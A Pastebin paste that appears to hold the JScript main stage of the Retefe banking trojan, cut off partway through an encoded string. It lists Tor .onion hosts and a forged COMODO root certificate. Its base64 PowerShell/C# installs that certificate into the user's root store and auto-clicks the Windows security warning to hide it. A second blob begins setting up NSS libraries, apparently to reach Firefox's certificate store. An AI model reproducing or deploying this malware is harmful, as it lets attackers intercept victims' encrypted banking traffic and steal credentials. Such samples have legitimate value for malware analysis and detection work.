Advertisement
_OD_

28Nov_retefe_main

Dec 4th, 2018
678
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var PfUjYqyXzXxgXTQ=null;
  2. var cUNqgZpJ=null;
  3. var QDyUFgSrCKBXL=null;
  4.  
  5. var uxBAjhCUvSOndbZ = new ActiveXObject("WScript.Shell");
  6. var EuzdaQw = new ActiveXObject("Scripting.FileSystemObject");
  7.  
  8. var BINARY_STREAM_TYPE = 1;
  9. var TEXT_STREAM_TYPE = 2;
  10. var CREATE_OVERWRITE_SAVE_MODE = 2;
  11.  
  12. var rmsfommyrbHX=uxBAjhCUvSOndbZ.ExpandEnvironmentStrings("%TEMP%");
  13. var pttc=uxBAjhCUvSOndbZ.ExpandEnvironmentStrings("%APPDATA%");
  14. var QoE=uxBAjhCUvSOndbZ.ExpandEnvironmentStrings("%COMPUTERNAME%");
  15. var JzirP=rmsfommyrbHX+"\\"+QoE+".log";
  16.  
  17. var iIRifJlqnqh={
  18.     OQsupCxvrOwzhEh: ["jpxqaweyfdym5zv2.onion", "6vddb4v4htfmxq76.onion", "sbh5wzumf2p6q6bc.onion", "dycolpngez6hcnc4.onion"],
  19.     DVEdoXz: "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",
  20.     SNPfsvkS: "ZnVuY3Rpb24gYkp3U2lvRnsKQWRkLVR5cGUgQCIKdXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uVGV4dDsKdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOwp1c2luZyBTeXN0ZW0uRGlhZ25vc3RpY3M7CnVzaW5nIFN5c3RlbS5TZWN1cml0eS5D"+
  21. "cnlwdG9ncmFwaHkuWDUwOUNlcnRpZmljYXRlczsKdXNpbmcgU3lzdGVtLlRocmVhZGluZzsKCnB1YmxpYyBzdGF0aWMgY2xhc3MgVXVEYWlDVFlMCnsKCXB1YmxpYyBjbGFzcyBjd1hmRHZabgogICAgewogICAgICAgIHB1YmxpYyBzdHJpbmcgV25kY2xhc3M7CiAg"+
  22. "ICAgICAgcHVibGljIHN0cmluZyBUaXRsZTsKICAgICAgICBwdWJsaWMgc3RyaW5nIFByb2Nlc3M7CiAgICAgICAgcHVibGljIEludFB0ciBoV25kOwogICAgfQoKICAgIHByaXZhdGUgZGVsZWdhdGUgYm9vbCBhQm5BRChJbnRQdHIgaFduZCwgcmVmIGN3WGZEdlpu"+
  23. "IGRhdGEpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQogICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIGJvb2wgRW51bVdpbmRvd3MoYUJuQUQgbHBFbnVtRnVuYywgcmVmIGN3"+
  24. "WGZEdlpuIGRhdGEpOwoJCglbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgR2V0Q2xhc3NOYW1lKEludFB0ciBoV25kLCBTdHJpbmdC"+
  25. "dWlsZGVyIGxwQ2xhc3NOYW1lLCBpbnQgbk1heENvdW50KTsKCiAgICBbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0bywgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgR2V0V2luZG93"+
  26. "VGV4dChJbnRQdHIgaFduZCwgU3RyaW5nQnVpbGRlciBscFN0cmluZywgaW50IG5NYXhDb3VudCk7CgkKCVtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KCXN0YXRpYyBleHRlcm4gdWlu"+
  27. "dCBHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQoSW50UHRyIGhXbmQsIG91dCB1aW50IGxwZHdQcm9jZXNzSWQpOwoJCglbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildCglbcmV0dXJuOiBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5Cb29sKV0KCXN0YXRpYyBleHRlcm4g"+
  28. "Ym9vbCBTZXRGb3JlZ3JvdW5kV2luZG93KEludFB0ciBoV25kKTsKCQoJcHVibGljIGRlbGVnYXRlIGJvb2wgaVFxQUFFd3hkVyhJbnRQdHIgaHduZCwgSW50UHRyIGxQYXJhbSk7CgkKCVtEbGxJbXBvcnQoInVzZXIzMiIpXQoJW3JldHVybjogTWFyc2hhbEFzKFVu"+
  29. "bWFuYWdlZFR5cGUuQm9vbCldCglwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIEVudW1DaGlsZFdpbmRvd3MoSW50UHRyIHdpbmRvdywgaVFxQUFFd3hkVyBjYWxsYmFjaywgSW50UHRyIGxQYXJhbSk7ICAKCQoJW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJT"+
  30. "ZXQgPSBDaGFyU2V0LkF1dG8pXQoJc3RhdGljIGV4dGVybiBJbnRQdHIgU2VuZE1lc3NhZ2UoSW50UHRyIGhXbmQsIFVJbnQzMiBNc2csIEludFB0ciB3UGFyYW0sIEludFB0ciBsUGFyYW0pOwoJCglbRmxhZ3NdCiAgICBwcml2YXRlIGVudW0gU25hcHNob3RGbGFn"+
  31. "cyA6IHVpbnQKICAgIHsKICAgIEhlYXBMaXN0ID0gMHgwMDAwMDAwMSwKICAgIFByb2Nlc3MgPSAweDAwMDAwMDAyLAogICAgVGhyZWFkID0gMHgwMDAwMDAwNCwKICAgIE1vZHVsZSA9IDB4MDAwMDAwMDgsCiAgICBNb2R1bGUzMiA9IDB4MDAwMDAwMTAsCiAgICBJ"+
  32. "bmhlcml0ID0gMHg4MDAwMDAwMCwKICAgIEFsbCA9IDB4MDAwMDAwMUYsCiAgICBOb0hlYXBzID0gMHg0MDAwMDAwMAogICAgfQogICAgLy9pbm5lciBzdHJ1Y3QgdXNlZCBvbmx5IGludGVybmFsbHkKICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50"+
  33. "aWFsLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgIHByaXZhdGUgc3RydWN0IFBST0NFU1NFTlRSWTMyCiAgICB7CiAgICBjb25zdCBpbnQgTUFYX1BBVEggPSAyNjA7CiAgICBpbnRlcm5hbCBVSW50MzIgZHdTaXplOwogICAgaW50ZXJuYWwgVUludDMyIGNu"+
  34. "dFVzYWdlOwogICAgaW50ZXJuYWwgVUludDMyIHRoMzJQcm9jZXNzSUQ7CiAgICBpbnRlcm5hbCBJbnRQdHIgdGgzMkRlZmF1bHRIZWFwSUQ7CiAgICBpbnRlcm5hbCBVSW50MzIgdGgzMk1vZHVsZUlEOwogICAgaW50ZXJuYWwgVUludDMyIGNudFRocmVhZHM7CiAg"+
  35. "ICBpbnRlcm5hbCBVSW50MzIgdGgzMlBhcmVudFByb2Nlc3NJRDsKICAgIGludGVybmFsIEludDMyIHBjUHJpQ2xhc3NCYXNlOwogICAgaW50ZXJuYWwgVUludDMyIGR3RmxhZ3M7CiAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQnlWYWxUU3RyLCBTaXplQ29u"+
  36. "c3QgPSBNQVhfUEFUSCldCiAgICBpbnRlcm5hbCBzdHJpbmcgc3pFeGVGaWxlOwogICAgfQoKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5DaGFyU2V0"+
  37. "LkF1dG8pXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90KFtJbl1VSW50MzIgZHdGbGFncywgW0luXVVJbnQzMiB0aDMyUHJvY2Vzc0lEKTsKCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIsIFNldExhc3RFcnJvciA9IHRy"+
  38. "dWUsIENoYXJTZXQgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuQ2hhclNldC5BdXRvKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQcm9jZXNzMzJGaXJzdChbSW5dSW50UHRyIGhTbmFwc2hvdCwgcmVmIFBST0NFU1NFTlRSWTMyIGxwcGUpOwoKICAg"+
  39. "IFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5DaGFyU2V0LkF1dG8pXQogICAgc3RhdGljIGV4dGVybiBib29sIFByb2Nlc3MzMk5leHQoW0luXUludFB0ciBo"+
  40. "U25hcHNob3QsIHJlZiBQUk9DRVNTRU5UUlkzMiBscHBlKTsKCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgW3JldHVybjogTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldCiAgICBwcml2YXRlIHN0YXRpYyBl"+
  41. "eHRlcm4gYm9vbCBDbG9zZUhhbmRsZShbSW5dIEludFB0ciBoT2JqZWN0KTsKICAgIAoJY29uc3QgaW50IEJNX0NMID0gMHgwMEY1OwoJCglwdWJsaWMgc3RhdGljIGJ5dGVbXSBQbGlyb2ppdERvdFBXdEIoU3RyaW5nIHNDZXJ0KQogICAgewoJCXJldHVybiBDb252"+
  42. "ZXJ0LkZyb21CYXNlNjRTdHJpbmcoc0NlcnQpOwogICAgfQogICAgICAgIAoJcHVibGljIHN0YXRpYyB2b2lkIEVYcUYoU3RyaW5nIHNDZXJ0KXsKCQlTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIltXaW4zMl06OlN0YXJ0KCkiKTsKICAgICAgICBieXRlW10gYkNl"+
  43. "cnQgPSBQbGlyb2ppdERvdFBXdEIoc0NlcnQpOwogICAgICAgIGlmIChiQ2VydCAhPSBudWxsKQogICAgICAgIHsKICAgICAgICAgICAgWDUwOUNlcnRpZmljYXRlMiBjZXJ0aWZpY2F0ZSA9IG5ldyBYNTA5Q2VydGlmaWNhdGUyKGJDZXJ0KTsKICAgICAgICAgICAg"+
  44. "WDUwOVN0b3JlIHN0b3JlID0gbmV3IFg1MDlTdG9yZShTdG9yZU5hbWUuUm9vdCwgU3RvcmVMb2NhdGlvbi5DdXJyZW50VXNlcik7CiAgICAgICAgICAgIHN0b3JlLk9wZW4oT3BlbkZsYWdzLlJlYWRXcml0ZSk7CiAgICAgICAgICAgIGlmICghc3RvcmUuQ2VydGlm"+
  45. "aWNhdGVzLkNvbnRhaW5zKGNlcnRpZmljYXRlKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgVGhyZWFkIHRocmVhZCA9IG5ldyBUaHJlYWQoZ2NHeVFRaW0pOwogICAgICAgICAgICAgICAgdGhyZWFkLlN0YXJ0KCk7CiAgICAgICAgICAgICAgICBzdG9y"+
  46. "ZS5BZGQoY2VydGlmaWNhdGUpOwogICAgICAgICAgICAgICAgdGhyZWFkLkpvaW4oKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBzdG9yZS5DbG9zZSgpOwogICAgICAgIH0KCX0KCQoJcHVibGljIHN0YXRpYyB2b2lkIGdjR3lRUWltKCkKCXsKCQlTeXN0ZW0u"+
  47. "Q29uc29sZS5Xcml0ZUxpbmUoIltXaW4zMl06OlNlYXJjaERpYWxvZygpIik7CgkJSW50UHRyIGhXbmQ7CgkJZG97CgkJCWhXbmQgPSBYZnooIiMzMjc3MCIsU3RyaW5nLkVtcHR5KTsKCQkJaWYgKCFoV25kLkVxdWFscyhJbnRQdHIuWmVybykpCgkJICAgIHsKCQkJ"+
  48. "CVN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiRm91bmRlZCBoV25kPTB4ezA6WH0iLGhXbmQpOwoJCSAgICAJYnJlYWs7CgkJCX1lbHNlCgkgICAgICAgIHsKCQkJCWhXbmQ9SW50UHRyLlplcm87CgkJCQlTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIlRyeSBhZ2Fp"+
  49. "biBmaW5kIHdpbmRvdyIpOwoJICAgICAgICB9CgkJfXdoaWxlIChoV25kLkVxdWFscyhJbnRQdHIuWmVybykpOwoJCVN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiRGlhbG9nIHdpbmRvdyBmb3VuZGVkIik7CgkJU2V0Rm9yZWdyb3VuZFdpbmRvdyhoV25kKTsKCQlp"+
  50. "UXFBQUV3eGRXIGNoaWxkUHJvYyA9IG5ldyBpUXFBQUV3eGRXKHdNaU55Yyk7CgkJRW51bUNoaWxkV2luZG93cyhoV25kLCBjaGlsZFByb2MsIEludFB0ci5aZXJvKTsKCX0KCQoJcHVibGljIHN0YXRpYyBJbnRQdHIgWGZ6KHN0cmluZyB3bmRjbGFzcywgc3RyaW5n"+
  51. "IHRpdGxlKQogICAgewogICAgICAgIGN3WGZEdlpuIHNkID0gbmV3IGN3WGZEdlpuKCk7CiAgICAgICAgc2QuV25kY2xhc3MgPSB3bmRjbGFzczsKICAgICAgICBzZC5UaXRsZSA9IHRpdGxlOwoJCXNkLmhXbmQ9SW50UHRyLlplcm87CgkJU3lzdGVtLkNvbnNvbGUu"+
  52. "V3JpdGVMaW5lKCJFbnVtV2luZG93IC18Iik7CiAgICAgICAgRW51bVdpbmRvd3MobmV3IGFCbkFEKGN6b01Fc3hnUGpodnNIdCksIHJlZiBzZCk7CiAgICAgICAgcmV0dXJuIHNkLmhXbmQ7CiAgICB9CiAgICAKCXB1YmxpYyBzdGF0aWMgYm9vbCBjem9NRXN4Z1Bq"+
  53. "aHZzSHQoSW50UHRyIGhXbmQsIHJlZiBjd1hmRHZabiBkYXRhKQogICAgewogICAgCVN0cmluZ0J1aWxkZXIgdGl0bGUgPSBuZXcgU3RyaW5nQnVpbGRlcigxMDI0KTsKICAgICAgICBTdHJpbmdCdWlsZGVyIGNsYXNzTmFtZSA9IG5ldyBTdHJpbmdCdWlsZGVyKDEw"+
  54. "MjQpOwogICAgICAgIEdldFdpbmRvd1RleHQoaFduZCwgdGl0bGUsIHRpdGxlLkNhcGFjaXR5KTsKICAgICAgICBHZXRDbGFzc05hbWUoaFduZCwgY2xhc3NOYW1lLCBjbGFzc05hbWUuQ2FwYWNpdHkpOwogICAgICAgIFN0cmluZyBzRU49ZWNKaWpMcShoV25kKS5U"+
  55. "b0xvd2VyKCk7CgkJaWYoKCFkYXRhLlduZGNsYXNzLkVxdWFscyhTdHJpbmcuRW1wdHkpICYmIGNsYXNzTmFtZS5Ub1N0cmluZygpLlN0YXJ0c1dpdGgoZGF0YS5XbmRjbGFzcykpIHx8ICghZGF0YS5UaXRsZS5FcXVhbHMoU3RyaW5nLkVtcHR5KSAmJiB0aXRsZS5U"+
  56. "b1N0cmluZygpLlN0YXJ0c1dpdGgoZGF0YS5UaXRsZSkpKQoJCXsKCQkJU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCIgICAgICAgICAgICB8LSBoV25kPTB4ezA6WH07IENsYXNzPXsxfTsgVGl0bGU9ezJ9OyBQcm9jZXNzPXszfSIsaFduZCxjbGFzc05hbWUuVG9T"+
  57. "dHJpbmcoKSx0aXRsZS5Ub1N0cmluZygpLHNFTik7CiAgICAgICAgCWlmKHNFTi5Db250YWlucygiY3Nyc3MiKSB8fCBzRU4uQ29udGFpbnMoImNlcnR1dGlsIikgIHx8IHNFTi5Db250YWlucygicG93ZXJzaGVsbCIpKQoJICAgICAgICB7CgkJICAgICAgICBkYXRh"+
  58. "LmhXbmQgPSBoV25kOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwoJICAgICAgICB9CiAgICAgICAgfQogICAgICAgCQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogIAoJcHVibGljIHN0YXRpYyBTdHJpbmcgZWNKaWpMcShJbnRQdHIgQUV1Y016b2dW"+
  59. "RSl7CgkJdWludCBCcEpWWWJPTU1Pd0NycSA9IDA7CgkJdWludCB0aHJlYWRJRCA9IEdldFdpbmRvd1RocmVhZFByb2Nlc3NJZChBRXVjTXpvZ1ZFLCBvdXQgQnBKVlliT01NT3dDcnEpOwoJCVN0cmluZyBzUHJvYyA9IG51bGw7CgkgICAgSW50UHRyIGhhbmRsZVRv"+
  60. "U25hcHNob3QgPSBJbnRQdHIuWmVybzsKCSAgICB0cnkKCSAgICB7CgkgICAgICAgIFBST0NFU1NFTlRSWTMyIG5KYnpudlBVZyA9IG5ldyBQUk9DRVNTRU5UUlkzMigpOwoJICAgICAgICBuSmJ6bnZQVWcuZHdTaXplID0gKFVJbnQzMilNYXJzaGFsLlNpemVPZih0"+
  61. "eXBlb2YoUFJPQ0VTU0VOVFJZMzIpKTsKCSAgICAgICAgaGFuZGxlVG9TbmFwc2hvdCA9IENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdCgodWludClTbmFwc2hvdEZsYWdzLlByb2Nlc3MsIDApOwoJICAgICAgICBpZiAoUHJvY2VzczMyRmlyc3QoaGFuZGxlVG9TbmFw"+
  62. "c2hvdCwgcmVmIG5KYnpudlBVZykpCgkgICAgICAgIHsKCSAgICAgICAgZG8KCSAgICAgICAgewoJICAgICAgICAgICAgaWYgKEJwSlZZYk9NTU93Q3JxID09IG5KYnpudlBVZy50aDMyUHJvY2Vzc0lEKQoJICAgICAgICAgICAgewoJICAgICAgICAgICAgc1Byb2Mg"+
  63. "PSBuSmJ6bnZQVWcuc3pFeGVGaWxlOwoJICAgICAgICAgICAgYnJlYWs7CgkgICAgICAgICAgICB9CgkgICAgICAgIH0gd2hpbGUgKFByb2Nlc3MzMk5leHQoaGFuZGxlVG9TbmFwc2hvdCwgcmVmIG5KYnpudlBVZykpOwoJICAgICAgICB9CgkgICAgICAgIGVsc2UK"+
  64. "CSAgICAgICAgewoJICAgICAgICAJdGhyb3cgbmV3IEFwcGxpY2F0aW9uRXhjZXB0aW9uKHN0cmluZy5Gb3JtYXQoIkZhaWxlZCB3aXRoIHdpbjMyIGVycm9yIGNvZGUgezB9IiwgTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpKSk7CgkgICAgICAgIH0KCSAgICB9"+
  65. "CgkgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKCSAgICB7CgkgICAgICAgIHRocm93IG5ldyBBcHBsaWNhdGlvbkV4Y2VwdGlvbigiQ2FuJ3QgZ2V0IHRoZSBwcm9jZXNzLiIsIGV4KTsKCSAgICB9CgkgICAgZmluYWxseQoJICAgIHsKCSAgICAgICAgQ2xvc2VIYW5k"+
  66. "bGUoaGFuZGxlVG9TbmFwc2hvdCk7CgkgICAgfQoJICAgIHJldHVybiBzUHJvYzsKCX0KCXB1YmxpYyBzdGF0aWMgYm9vbCB3TWlOeWMoSW50UHRyIGhXbmQsIEludFB0ciBsUGFyYW0pCgl7CgkJU2VuZE1lc3NhZ2UoaFduZCwgQk1fQ0wsIEludFB0ci5aZXJvLCBJ"+
  67. "bnRQdHIuWmVybyk7CgkJcmV0dXJuIHRydWU7Cgl9Cn0KIkA7CltVdURhaUNUWUxdOjpFWHFGKCIlQ0VSVCUiKTsKZXhpdAp9CmJKd1Npb0Y=",
  68.     kCuQmwEfpnGcDX: "ZnVuY3Rpb24gdVJnQkJmewpBZGQtVHlwZSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5JTzsKdXNpbmcgTWljcm9zb2Z0"+
  69. "LldpbjMyOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5Db21wb25lbnRNb2RlbDsK"+
  70. "CnB1YmxpYyBzZWFsZWQgY2xhc3Mga0VDU1NuYU5kCnsKCXByaXZhdGUgc3RhdGljIHZvbGF0aWxlIGtFQ1NTbmFOZCBtcnlTbXBX"+
  71. "TFI7Cglwcml2YXRlIHN0YXRpYyBvYmplY3QgbHF5QnFrbmlnYm9YRCA9IG5ldyBPYmplY3QoKTsKCXB1YmxpYyBzdGF0aWMga0VD"+
  72. "U1NuYU5kIEVTZ3RjTygpCiAgICB7CiAgICAgICAgaWYgKG1yeVNtcFdMUiA9PSBudWxsKQogICAgICAgIHsKICAgICAgICAgICAg"+
  73. "bG9jayAobHF5QnFrbmlnYm9YRCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKG1yeVNtcFdMUiA9PSBudWxsKQog"+
  74. "ICAgICAgICAgICAgICAgbXJ5U21wV0xSID0gbmV3IGtFQ1NTbmFOZCgpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAg"+
  75. "IHJldHVybiBtcnlTbXBXTFI7CiAgICB9CgkKCWNvbnN0IGludCBvZ1JNR1pVPTA7CiAgICAKICAgIFtEbGxJbXBvcnQoImtlcm5l"+
  76. "bDMyIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQW5zaSldCiAgICBzdGF0aWMgZXh0ZXJuIEludFB0"+
  77. "ciBMb2FkTGlicmFyeShbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBTdHIpXXN0cmluZyBscEZpbGVOYW1lKTsKCiAgICBwcml2"+
  78. "YXRlIHN0YXRpYyBJbnRQdHIgT0dKSUJjUmZLKHN0cmluZyBsaWJQYXRoKQogICAgewogICAgICAgIGlmIChTdHJpbmcuSXNOdWxs"+
  79. "T3JFbXB0eShsaWJQYXRoKSkKICAgICAgICAgICAgdGhyb3cgbmV3IEFyZ3VtZW50TnVsbEV4Y2VwdGlvbigibGliUGF0aCIpOwoK"+
  80. "ICAgICAgICBJbnRQdHIgbW9kdWxlSGFuZGxlID0gTG9hZExpYnJhcnkobGliUGF0aCk7CiAgICAgICAgaWYgKG1vZHVsZUhhbmRs"+
  81. "ZSA9PSBJbnRQdHIuWmVybykKICAgICAgICB7CiAgICAgICAgICAgIGludCBsYXN0ZXJyb3IgPSBNYXJzaGFsLkdldExhc3RXaW4z"+
  82. "MkVycm9yKCk7CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCJMYXN0IGVycm9yOiAw"+
  83. "eHswOlh9IixsYXN0ZXJyb3IpKTsKICAgICAgICAgICAgV2luMzJFeGNlcHRpb24gaW5uZXJFeCA9IG5ldyBXaW4zMkV4Y2VwdGlv"+
  84. "bihsYXN0ZXJyb3IpOwogICAgICAgICAgICBpbm5lckV4LkRhdGEuQWRkKCJMYXN0V2luMzJFcnJvciIsIGxhc3RlcnJvcik7CiAg"+
  85. "ICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oImNhbid0IGxvYWQgRExMICIgKyBsaWJQYXRoLCBpbm5lckV4KTsKICAgICAg"+
  86. "ICB9CiAgICAgICAgcmV0dXJuIG1vZHVsZUhhbmRsZTsKICAgIH0KCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0KICAg"+
  87. "IHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBHZXRQcm9jQWRkcmVzcyhJbnRQdHIgaE1vZHVsZSwgc3RyaW5nIHByb2NlZHVy"+
  88. "ZU5hbWUpOwoJLy9Db25zdGFudHMKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfUkVBRE9OTFk9MHgxOwogICAgY29uc3QgdWludCBO"+
  89. "U1NfSU5JVF9OT0NFUlREQiA9IDB4MjsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfTk9NT0REQiA9IDB4NDsKICAgIGNvbnN0IHVp"+
  90. "bnQgTlNTX0lOSVRfRk9SQ0VPUEVOID0gMHg4OwogICAgY29uc3QgdWludCBOU1NfSU5JVF9OT1JPT1RJTklUID0gMHgxMDsKICAg"+
  91. "IGNvbnN0IHVpbnQgTlNTX0lOSVRfT1BUSU1JWkVTUEFDRSA9IDB4MjA7CiAgICBjb25zdCB1aW50IE5TU19JTklUX1BLMTFUSFJF"+
  92. "QURTQUZFID0gMHg0MDsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfUEsxMVJFTE9BRCA9IDB4ODA7CiAgICBjb25zdCB1aW50IE5T"+
  93. "U19JTklUX05PUEsxMUZJTkFMSVpFID0gMHgxMDA7CiAgICBjb25zdCB1aW50IE5TU19JTklUX1JFU0VSVkVEID0gMHgyMDA7CiAg"+
  94. "ICBjb25zdCB1aW50IE5TU19JTklUX0NPT1BFUkFURSA9IE5TU19JTklUX1BLMTFUSFJFQURTQUZFIHwgTlNTX0lOSVRfUEsxMVJF"+
